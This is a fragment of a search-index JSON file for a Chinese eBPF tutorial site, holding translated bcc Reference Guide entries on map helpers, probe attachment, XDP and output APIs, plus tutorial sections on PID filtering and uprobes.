map.call()"},"305":{"body":"语法：int map.redirect_map(int index, int flags)\".这将根据 index 条目重定向传入的数据包。如果映射是 BPF_DEVMAP ，数据包将被发送到该条目指向的网络接口的传输队列。如果映射是 BPF_CPUMAP ，数据包将被发送到index CPU的环形缓冲区，并稍后由CPU处理。如果映射是 BPF_XSKMAP ，数据包将被发送到连接到队列的 AF_XDP 套接字。 如果数据包成功被重定向，该函数将返回 XDP_REDIRECT。否则，将返回 XDP_ABORTED 以丢弃该数据包。 例如： BPF_DEVMAP(devmap, 1); int redirect_example(struct xdp_md *ctx) { return devmap.redirect_map(0, 0);\n}\nint xdp_dummy(struct xdp_md *ctx) { return XDP_PASS;\n} ip = pyroute2.IPRoute()\nidx = ip.link_lookup(ifname=\"eth1\")[0] b = bcc.BPF(src_file=\"example.c\") devmap = b.get_table(\"devmap\")\ndevmap[c_uint32(0)] = c_int(idx) in_fn = b.load_func(\"redirect_example\", BPF.XDP)\nout_fn = b.load_func(\"xdp_dummy\", BPF.XDP)\nb.attach_xdp(\"eth0\", in_fn, 0)\nb.attach_xdp(\"eth1\", out_fn, 0) 示例位置： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 28. map.redirect_map()","id":"305","title":"28. map.redirect_map()"},"306":{"body":"语法：int map.push(&val, int flags) 将元素推入堆栈或队列表。将 BPF_EXIST 作为标志传递会导致队列或堆栈在已满时丢弃最旧的元素。成功返回0，失败返回负错误值。 示例位置： 搜索 /tests ,","breadcrumbs":"bcc Reference Guide » 29. map.push()","id":"306","title":"29. map.push()"},"307":{"body":"语法：int map.pop(&val) 从堆栈或队列表中弹出一个元素。*val被填充为结果。与查看不同，弹出操作会移除该元素。成功返回0，失败返回负错误值。 示例位置： 搜索 /tests ,","breadcrumbs":"bcc Reference Guide » 30. map.pop()","id":"307","title":"30. map.pop()"},"308":{"body":"语法：int map.peek(&val)查看堆栈或队列表头的元素。*val将被结果填充。 与弹出不同，查看不会删除元素。 成功返回0，失败返回负错误。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 31. map.peek()","id":"308","title":"31. map.peek()"},"309":{"body":"语法：int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags) 向sockhash映射添加条目或更新条目。skops用作与键相关联的条目的新值。flags为以下之一： BPF_NOEXIST：映射中不得存在key的条目。\nBPF_EXIST：映射中必须已存在key的条目。\nBPF_ANY：对于key的条目是否存在，没有条件。 如果映射具有eBPF程序（解析器和判决器），则这些程序将被添加的套接字继承。如果套接字已经附加到eBPF程序，则会出错。 成功返回0，失败返回负错误。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 32. map.sock_hash_update()","id":"309","title":"32. map.sock_hash_update()"},"31":{"body":"全局变量在 eBPF 程序中充当一种数据共享机制，它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。 在我们的例子中，全局变量 pid_target 用于过滤进程 PID。用户态程序可以设置此变量的值，以便在 eBPF 程序中只捕获与指定 PID 相关的 sys_openat 系统调用。 使用全局变量的原理是，全局变量在 eBPF 程序的数据段（data section）中定义并存储。当 eBPF 程序加载到内核并执行时，这些全局变量会保持在内核中，可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性，如 bpf_obj_get_info_by_fd 和 bpf_obj_get_info，获取 eBPF 对象的信息，包括全局变量的位置和值。 可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息： $ ecli package.json -h\nUsage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR] Trace open family syscalls. Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --pid_target Process ID to trace Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. 可以通过 --pid_target 选项来指定要捕获的进程的 pid，例如： $ sudo ./ecli run package.json --pid_target 618\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 使用全局变量在 eBPF 中过滤进程 pid","id":"31","title":"使用全局变量在 eBPF 中过滤进程 pid"},"310":{"body":"语法：int map.msg_redirect_hash(struct sk_msg_buff *msg, void*key, u64 flags) 该辅助程序用于在套接字级别实施策略的程序中。如果消息msg被允许通过（即判决eBPF程序返回SK_PASS），则使用哈希键将其重定向到映射引用的套接字（类型为BPF_MAP_TYPE_SOCKHASH）。可以使用入站和出站接口进行重定向。标志中的BPF_F_INGRESS值用于区分（如果存在该标志，则选择入站路径，否则选择出站路径）。目前，这是唯一支持的标志。 成功返回SK_PASS，发生错误返回SK_DROP。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 33. map.msg_redirect_hash()","id":"310","title":"33. map.msg_redirect_hash()"},"311":{"body":"语法：int map.sk_redirect_hash(struct sk_buff *skb, void*key, u64 flags)\".This helper is used in programs implementing policies at the skb socket level. If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: [搜索/tests]( https://github.com/iovisor/bcc/search?q=sk_redirect_hash+path%3Atests&type=Code\\ ),","breadcrumbs":"bcc Reference Guide » 34. map.sk_redirect_hash()","id":"311","title":"34. map.sk_redirect_hash()"},"312":{"body":"Depending on which [BPF helpers](kernel-versions.md#helpers) are used, a GPL-compatible license is required. The special BCC macro BPF_LICENSE specifies the license of the BPF program. You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically. If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it: // SPDX-License-Identifier: GPL-2.0+\n#define BPF_LICENSE GPL Otherwise, the kernel may reject loading your program (see the [错误描述](#2-cannot-call-gpl-only-function-from-proprietary-program) below). Note that it supports multiple words and quotes are not necessary: // SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause\n#define BPF_LICENSE Dual BSD/GPL Check the [BPF helpers reference](kernel-versions.md#helpers) to see which helpers are GPL-only and what the kernel understands as GPL-compatible. If the macro is not specified, BCC will automatically define the license of the program as GPL.","breadcrumbs":"bcc Reference Guide » 许可证","id":"312","title":"许可证"},"313":{"body":"一个重写器的工作是使用内核辅助程序将隐式内存访问转换为显式内存访问。最近的内核引入了一个配置选项ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE，该选项将被设置为使用用户地址空间和内核地址空间不重叠的体系结构。x86和arm设置了这个配置选项，而s390没有。如果没有设置ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE，bpf旧帮助函数bpf_probe_read()将不可用。一些现有的用户可能有隐式内存访问来访问用户内存，所以使用bpf_probe_read_kernel()会导致他们的应用程序失败。因此，对于非s390，重写器将对这些隐式内存访问使用bpf_probe_read()。对于s390，默认使用bpf_probe_read_kernel()，用户在访问用户内存时应显式使用bpf_probe_read_user()","breadcrumbs":"bcc Reference Guide » Rewriter","id":"313","title":"Rewriter"},"314":{"body":"","breadcrumbs":"bcc Reference Guide » bcc Python","id":"314","title":"bcc Python"},"315":{"body":"构造函数。","breadcrumbs":"bcc Reference Guide » 初始化","id":"315","title":"初始化"},"316":{"body":"语法: BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int]) 创建一个BPF对象。这是定义BPF程序并与其输出交互的主要对象。 必须提供text或src_file之一，不能两者都提供。 cflags指定要传递给编译器的额外参数，例如-DMACRO_NAME=value或-I/include/path。参数以数组形式传递，每个元素为一个额外的参数。注意，字符串不会按空格拆分，所以每个参数必须是数组的不同元素，例如[\"-include\", \"header.h\"]。 debug标志控制调试输出，可以使用或运算: DEBUG_LLVM_IR = 0x1 编译后的LLVM IR DEBUG_BPF = 0x2 加载的BPF字节码和分支时的寄存器状态 DEBUG_PREPROCESSOR = 0x4 预处理器的结果 DEBUG_SOURCE = 0x8 嵌入源码的ASM指令 DEBUG_BPF_REGISTER_STATE = 0x10 所有指令的寄存器状态，额外打印DEBUG_BPF的信息 DEBUG_BTF = 0x20 打印来自libbpf库的消息。 示例: BPF(text='int do_trace(void *ctx) { bpf_trace_printk(\"命中！\\\\n\"); return 0; }'); # 定义程序为一个变量:\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"你好，世界！\\\\n\"); return 0;\n}\n\"\"\"\nb = BPF(text=prog) # 源文件:\nb = BPF(src_file = \"vfsreadlat.c\") # 包括一个USDT对象:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) # 添加包含路径:\nu = BPF(text=prog, cflags=[\"-I/path/to/include\"]) 在原地的示例:\n[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF+path%3Aexamples+language%3Apython&type=Code),\n[搜索 /tools](https://github.com/iovisor/bcc/search?q=BPF+path%3Atools+language%3Apython&type=Code) ### 2. USDT 语法: ```USDT({pid=pid | path=path})``` 创建一个对象以检测用户静态定义的跟踪(USDT)探针。它的主要方法是```enable_probe()```。 参数: - pid: 附加到该进程ID。\n- path: 从此二进制路径检测USDT探针。 示例: ```Python\n# 包括一个USDT对象:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) 在原地的示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. BPF","id":"316","title":"1. BPF"},"317":{"body":"","breadcrumbs":"bcc Reference Guide » 事件","id":"317","title":"事件"},"318":{"body":"语法: BPF.attach_kprobe(event=\"event\", fn_name=\"name\") 通过内核动态跟踪函数入口，来检测内核函数event()，并将我们的C定义的函数name()附加到每次调用内核函数时被调用。 例如: b.attach_kprobe(event=\"sys_clone\", fn_name=\"do_trace\") 这将检测内核sys_clone()函数，并在每次调用时运行我们定义的BPF函数do_trace()。 您可以多次调用attach_kprobe()，并将您的BPF函数附加到多个内核函数上。您也可以多次调用attach_kprobe()函数将多个BPF函数附加到同一个内核函数。 有关如何从BPF中提取参数的详细信息，请参阅前面的kprobes部分。 示例： 查找/examples , 查找/tools","breadcrumbs":"bcc Reference Guide » 1. attach_kprobe()","id":"318","title":"1. attach_kprobe()"},"319":{"body":"语法：BPF.attach_kretprobe(event=\"事件\", fn_name=\"名称\" [, maxactive=int]) 使用内核动态跟踪函数返回来检测内核函数event()的返回，并附加我们定义的C函数name()在内核函数返回时调用。 例如： b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\") 这将检测内核的vfs_read()函数，每次调用该函数时都会执行我们定义的BPF函数do_return()。 您可以多次调用attach_kretprobe()函数，并将您的BPF函数附加到多个内核函数的返回值。 您也可以多次调用attach_kretprobe()函数将多个BPF函数附加到同一个内核函数的返回值。 当在内核函数上安装kretprobe时，它可以捕获的并行调用次数存在限制。您可以使用maxactive参数更改该限制。有关默认值，请参阅kprobes文档。 有关如何从BPF中提取返回值的详细信息，请参阅前面的kretprobes部分。 示例： 查找/examples , 查找/tools","breadcrumbs":"bcc Reference Guide » 2. attach_kretprobe()","id":"319","title":"2. attach_kretprobe()"},"32":{"body":"本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中，我们可以通过定义 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 函数并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID，并使用 bpf_printk 函数在内核日志中打印出来。在 eBPF 程序中，我们还可以通过定义一个全局变量 pid_target 来指定要捕获的进程的 pid，从而过滤输出，只输出指定的进程的信息。 通过学习本教程，您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 总结","id":"32","title":"总结"},"320":{"body":"语法：BPF.attach_tracepoint(tp=\"追踪点\", fn_name=\"名称\") 检测由tracepoint描述的内核追踪点，并在命中时运行BPF函数name()。这是一种显式方式来操控 tracepoints。在前面的 tracepoints 部分讲解过的 TRACEPOINT_PROBE 语法是另一种方法，其优点是自动声明一个包含 tracepoint 参数的 args 结构体。在使用 attach_tracepoint() 时，tracepoint 参数需要在 BPF 程序中声明。 例如： # 定义 BPF 程序\nbpf_text = \"\"\"\n#include  struct urandom_read_args { // 来自 /sys/kernel/debug/tracing/events/random/urandom_read/format u64 __unused__; u32 got_bits; u32 pool_left; u32 input_left;\n}; int printarg(struct urandom_read_args *args) { bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n};\n\"\"\" # 加载 BPF 程序\nb = BPF(text=bpf_text)\nb.attach_tracepoint(\"random:urandom_read\", \"printarg\") 注意，printarg() 的第一个参数现在是我们定义的结构体。 代码示例： code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. attach_tracepoint()","id":"320","title":"3. attach_tracepoint()"},"321":{"body":"语法：BPF.attach_uprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\" [, sym_off=int]), BPF.attach_uprobe(name=\"location\", sym_re=\"regex\", fn_name=\"name\"), BPF.attach_uprobe(name=\"location\", addr=int, fn_name=\"name\") 用于操控位于 location 中的库或二进制文件中的用户级别函数 symbol()，使用用户级别动态跟踪该函数的入口，并将我们定义的 C 函数 name() 附加为在用户级别函数被调用时调用的函数。如果给定了 sym_off，则该函数将附加到符号的偏移量上。真实的地址addr可以替代sym，在这种情况下，sym必须设置为其默认值。如果文件是非PIE可执行文件，则addr必须是虚拟地址，否则它必须是相对于文件加载地址的偏移量。 可以在sym_re中提供普通表达式来代替符号名称。然后，uprobes将附加到与提供的正则表达式匹配的符号。 在名字参数中可以给出库名而不带lib前缀，或者给出完整路径（/usr/lib/...）。只能通过完整路径（/bin/sh）给出二进制文件。 例如: b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") 这将在libc中对strlen()函数进行插装，并在调用该函数时调用我们的BPF函数count()。请注意，在libc中的libc中的\"lib\"是不必要的。 其他例子: b.attach_uprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_entry\")\nb.attach_uprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") 您可以多次调用attach_uprobe()，并将BPF函数附加到多个用户级函数。 有关如何从BPF工具获取参数的详细信息，请参见上一节uprobes。 原址示例： search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. attach_uprobe()","id":"321","title":"4. attach_uprobe()"},"322":{"body":"语法: BPF.attach_uretprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\") 使用用户级动态跟踪从名为location的库或二进制文件中的用户级函数symbol()返回值的方式仪器化，并将我们定义的C函数name()附加到用户级函数返回时调用。 例如: b.attach_uretprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\")\n```。这将使用libc库对```strlen()```函数进行插装，并在其返回时调用我们的BPF函数```count()```。 其他示例： ```Python\nb.attach_uretprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_return\")\nb.attach_uretprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") 您可以多次调用attach_uretprobe()，并将您的BPF函数附加到多个用户级函数上。 有关如何对BPF返回值进行插装的详细信息，请参阅前面的uretprobes部分。 内部示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. attach_uretprobe()","id":"322","title":"5. attach_uretprobe()"},"323":{"body":"语法：USDT.enable_probe(probe=probe, fn_name=name) 将BPF C函数name附加到USDT探针probe。 示例： # 根据给定的PID启用USDT探针\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\") 要检查您的二进制文件是否具有USDT探针以及它们的详细信息，可以运行readelf -n binary并检查stap调试部分。 内部示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 6. USDT.enable_probe()","id":"323","title":"6. USDT.enable_probe()"},"324":{"body":"语法：BPF.attach_raw_tracepoint(tp=\"tracepoint\", fn_name=\"name\") 对由tracepoint（仅event，无category）描述的内核原始跟踪点进行插装，并在命中时运行BPF函数name()。 这是一种明确的插装跟踪点的方法。早期原始跟踪点部分介绍的RAW_TRACEPOINT_PROBE语法是一种替代方法。 例如： b.attach_raw_tracepoint(\"sched_switch\", \"do_trace\") 内部示例：\".\" 搜索 /工具","breadcrumbs":"bcc Reference Guide » 7. attach_raw_tracepoint()","id":"324","title":"7. attach_raw_tracepoint()"},"325":{"body":"语法: BPF.attach_raw_socket(fn, dev) 将一个BPF函数附加到指定的网络接口。 fn 必须是 BPF.function 类型，并且 bpf_prog 类型需要是 BPF_PROG_TYPE_SOCKET_FILTER (fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)) fn.sock 是一个非阻塞原始套接字，已经创建并绑定到 dev。 所有处理 dev 的网络数据包都会在经过 bpf_prog 处理后，被复制到 fn.sock 的 recv-q 中。可以使用 recv/recvfrom/recvmsg 来从 fn.sock 接收数据包。需要注意的是，如果在 recv-q 满了之后没有及时读取，复制的数据包将会被丢弃。 可以使用这个功能来像 tcpdump 一样捕获网络数据包。 可以使用ss --bpf --packet -p来观察 fn.sock。 示例: BPF.attach_raw_socket(bpf_func, ifname) 示例位置: 搜索 /示例","breadcrumbs":"bcc Reference Guide » 8. attach_raw_socket()","id":"325","title":"8. attach_raw_socket()"},"326":{"body":"语法: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags) 改装由 dev 描述的网络驱动程序，然后接收数据包，并使用标志运行 BPF 函数 fn_name()。 以下是可选的标志列表。 # from xdp_flags uapi/linux/if_link.h\nXDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0)\nXDP_FLAGS_SKB_MODE = (1 << 1)\nXDP_FLAGS_DRV_MODE = (1 << 2)\nXDP_FLAGS_HW_MODE = (1 << 3)\nXDP_FLAGS_REPLACE = (1 << 4) 您可以像这样使用标志: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST) 标志的默认值为0。这意味着如果没有带有 device 的xdp程序，fn将在该设备上运行。如果有一个正在运行的xdp程序与设备关联，旧程序将被新的fn程序替换。\".当前，bcc不支持XDP_FLAGS_REPLACE标志。以下是其他标志的描述。 1. XDP_FLAGS_UPDATE_IF_NOEXIST 如果已经将XDP程序附加到指定的驱动程序上，再次附加XDP程序将失败。 2. XDP_FLAGS_SKB_MODE 驱动程序不支持XDP，但内核模拟支持它。 XDP程序可以工作，但没有真正的性能优势，因为数据包无论如何都会传递给内核堆栈，然后模拟XDP - 这通常适用于家用电脑，笔记本电脑和虚拟化硬件所使用的通用网络驱动程序。 3. XDP_FLAGS_DRV_MODE 驱动程序具有XDP支持，并且可以将数据包直接传递给XDP，无需内核堆栈交互 - 少数驱动程序可以支持此功能，通常用于企业级硬件。 4. XDP_FLAGS_HW_MODE XDP可以直接在NIC上加载和执行 - 只有少数NIC支持这一功能。 例如： b.attach_xdp(dev=\"ens1\", fn=b.load_func(\"do_xdp\", BPF.XDP)) 这将为网络设备ens1安装工具，并在接收数据包时运行我们定义的BPF函数do_xdp()。 不要忘记在最后调用b.remove_xdp(\"ens1\")！ 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 9. attach_xdp()","id":"326","title":"9. attach_xdp()"},"327":{"body":"语法：BPF.attach_func(fn, attachable_fd, attach_type [, flags]) 将指定类型的BPF函数附加到特定的attachable_fd上。如果attach_type是BPF_FLOW_DISSECTOR，则预期该函数将附加到当前的网络命名空间，并且attachable_fd必须为0。 例如： b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT)\n```注意。当附加到“全局”钩子（xdp、tc、lwt、cgroup）时。如果程序终止后不再需要“BPF 函数”，请确保在程序退出时调用 `detach_func`。 示例中的内部代码： [search /examples](https://github.com/iovisor/bcc/search?q=attach_func+path%3Aexamples+language%3Apython&type=Code), ### 11. detach_func() 语法：```BPF.detach_func(fn, attachable_fd, attach_type)``` 断开指定类型的 BPF 函数。 例如： ```Python\nb.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS) // 断开 cgroup_fd 上的 fn 函数\nb.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) // 断开 map_fd 上的 fn 函数 示例中的内部代码： search /examples ,","breadcrumbs":"bcc Reference Guide » 10. attach_func()","id":"327","title":"10. attach_func()"},"328":{"body":"语法：BPF.detach_kprobe(event=\"event\", fn_name=\"name\") 断开指定事件的 kprobe 处理函数。 例如： b.detach_kprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_entry\") // 断开 \"__page_cache_alloc\" 事件上的 \"trace_func_entry\" 函数","breadcrumbs":"bcc Reference Guide » 12. detach_kprobe()","id":"328","title":"12. detach_kprobe()"},"329":{"body":"语法：BPF.detach_kretprobe(event=\"event\", fn_name=\"name\") 断开指定事件的 kretprobe 处理函数。 例如： b.detach_kretprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_return\") // 断开 \"__page_cache_alloc\" 事件上的 \"trace_func_return\" 函数","breadcrumbs":"bcc Reference Guide » 13. detach_kretprobe()","id":"329","title":"13. detach_kretprobe()"},"33":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第五篇，主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用","id":"33","title":"eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用"},"330":{"body":"","breadcrumbs":"bcc Reference Guide » 调试输出","id":"330","title":"调试输出"},"331":{"body":"语法：BPF.trace_print(fmt=\"fields\") 该方法持续读取全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件并打印其内容。可以通过 BPF 和 bpf_trace_printk() 函数将数据写入该文件，但该方法存在限制，包括缺乏并发跟踪支持。更推荐使用前面介绍的 BPF_PERF_OUTPUT 机制。 参数： fmt: 可选，可以包含字段格式化字符串，默认为 None。 示例： # 将 trace_pipe 输出原样打印：\nb.trace_print() # 打印 PID 和消息：\nb.trace_print(fmt=\"{1} {5}\") 示例中的内部代码： search /examples 。\" 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. trace_print()","id":"331","title":"1. trace_print()"},"332":{"body":"语法: BPF.trace_fields(nonblocking=False) 该方法从全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件中读取一行，并将其作为字段返回。该文件可以通过 BPF 和 bpf_trace_printk() 函数进行写入，但该方法有一些限制，包括缺乏并发追踪支持。我们更推荐使用之前介绍的 BPF_PERF_OUTPUT 机制。 参数: nonblocking: 可选参数，默认为 False。当设置为 True 时，程序将不会阻塞等待输入。 示例: while 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue [...] 内联示例: 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. trace_fields()","id":"332","title":"2. trace_fields()"},"333":{"body":"BPF 程序的正常输出有两种方式: 每个事件: 使用 PERF_EVENT_OUTPUT、open_perf_buffer() 和 perf_buffer_poll()。 map 汇总: 使用 items() 或 print_log2_hist()，在 Maps 部分有介绍。","breadcrumbs":"bcc Reference Guide » 输出 API","id":"333","title":"输出 API"},"334":{"body":"语法: BPF.perf_buffer_poll(timeout=T) 该方法从所有打开的 perf 环形缓冲区中轮询，并对每个条目调用在调用 open_perf_buffer 时提供的回调函数。 timeout 参数是可选的，并以毫秒为单位计量。如果未提供，则轮询将无限期进行。 示例: # 循环调用带有回调函数 print_event 的 open_perf_buffer\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() 内联示例: 代码 \".\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. perf_buffer_poll()","id":"334","title":"1. perf_buffer_poll()"},"335":{"body":"语法: BPF.ring_buffer_poll(timeout=T) 这个方法从所有已打开的ringbuf环形缓冲区中轮询数据，对每个条目调用在调用open_ring_buffer时提供的回调函数。 timeout参数是可选的，以毫秒为单位测量。如果没有指定，轮询将持续到没有更多的数据或回调函数返回负值。 示例: # 循环使用回调函数print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll(30) except KeyboardInterrupt: exit(); 示例： 搜索 /示例 ,","breadcrumbs":"bcc Reference Guide » 2. ring_buffer_poll()","id":"335","title":"2. ring_buffer_poll()"},"336":{"body":"语法: BPF.ring_buffer_consume() 这个方法从所有已打开的ringbuf环形缓冲区中消费数据，对每个条目调用在调用open_ring_buffer时提供的回调函数。 与ring_buffer_poll不同，这个方法在尝试消费数据之前 不会轮询数据 。这样可以减少延迟，但会增加CPU消耗。如果不确定使用哪种方法，建议使用ring_buffer_poll。 示例: # 循环使用回调函数print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_consume() except KeyboardInterrupt: exit(); 示例： 搜索 /示例 ,","breadcrumbs":"bcc Reference Guide » 3. ring_buffer_consume()","id":"336","title":"3. ring_buffer_consume()"},"337":{"body":"Maps是BPF数据存储器，在bcc中用于实现表、哈希和直方图等更高层次的对象。","breadcrumbs":"bcc Reference Guide » Map APIs","id":"337","title":"Map APIs"},"338":{"body":"语法: BPF.get_table(name)\".返回一个table对象。由于可以将表格作为BPF项进行读取，因此此功能不再使用。例如：BPF[name]。 示例： counts = b.get_table(\"counts\") counts = b[\"counts\"] 这两者是等价的。","breadcrumbs":"bcc Reference Guide » 1. get_table()","id":"338","title":"1. get_table()"},"339":{"body":"语法：table.open_perf_buffers(callback, page_cnt=N, lost_cb=None) 此操作基于BPF中定义的表格（BPF_PERF_OUTPUT()），将回调Python函数callback关联到在perf环形缓冲区中有数据可用时调用。这是从内核传输每个事件的数据到用户空间的推荐机制的一部分。可以通过page_cnt参数指定perf环形缓冲区的大小，默认为8个页面，必须是页数的2的幂次方。如果回调函数不能快速处理数据，则可能丢失某些提交的数据。lost_cb用于记录/监视丢失的计数。如果lost_cb是默认的None值，则只会打印一行消息到stderr。 示例： # 处理事件\ndef print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # 循环通过回调函数打印事件\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() 请注意，传输的数据结构需要在BPF程序中以C方式声明。例如： // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events);\n[...] 在Python中，您可以让bcc自动生成C声明中的数据结构（建议方法）： def print_event(cpu, data, size): event = b[\"events\"].event(data)\n[...] 或者手动定义： # 在Python中定义输出数据结构\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)]\"。def print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] 在此处的示例中：\n[code](https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L52),\n[search /examples](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Aexamples+language%3Apython&type=Code),\n[search /tools](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Atools+language%3Apython&type=Code) ### 3. items() 语法: ```table.items()``` 返回一个表中的键数组。它可以与BPF_HASH映射一起使用，从而获取并迭代键。 示例: ```Python\n# 打印输出\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) 此示例还使用sorted()方法按值排序。 在此处的示例中： search /examples , search /tools 。","breadcrumbs":"bcc Reference Guide » 2. open_perf_buffer()","id":"339","title":"2. open_perf_buffer()"},"34":{"body":"uprobe是一种用户空间探针，uprobe探针允许在用户空间程序中动态插桩，插桩位置包括：函数入口、特定偏移处，以及函数返回处。当我们定义uprobe时，内核会在附加的指令上创建快速断点指令（x86机器上为int3指令），当程序执行到该指令时，内核将触发事件，程序陷入到内核态，并以回调函数的方式调用探针函数，执行完探针函数再返回到用户态继续执行后序的指令。 uprobe基于文件，当一个二进制文件中的一个函数被跟踪时，所有使用到这个文件的进程都会被插桩，包括那些尚未启动的进程，这样就可以在全系统范围内跟踪系统调用。 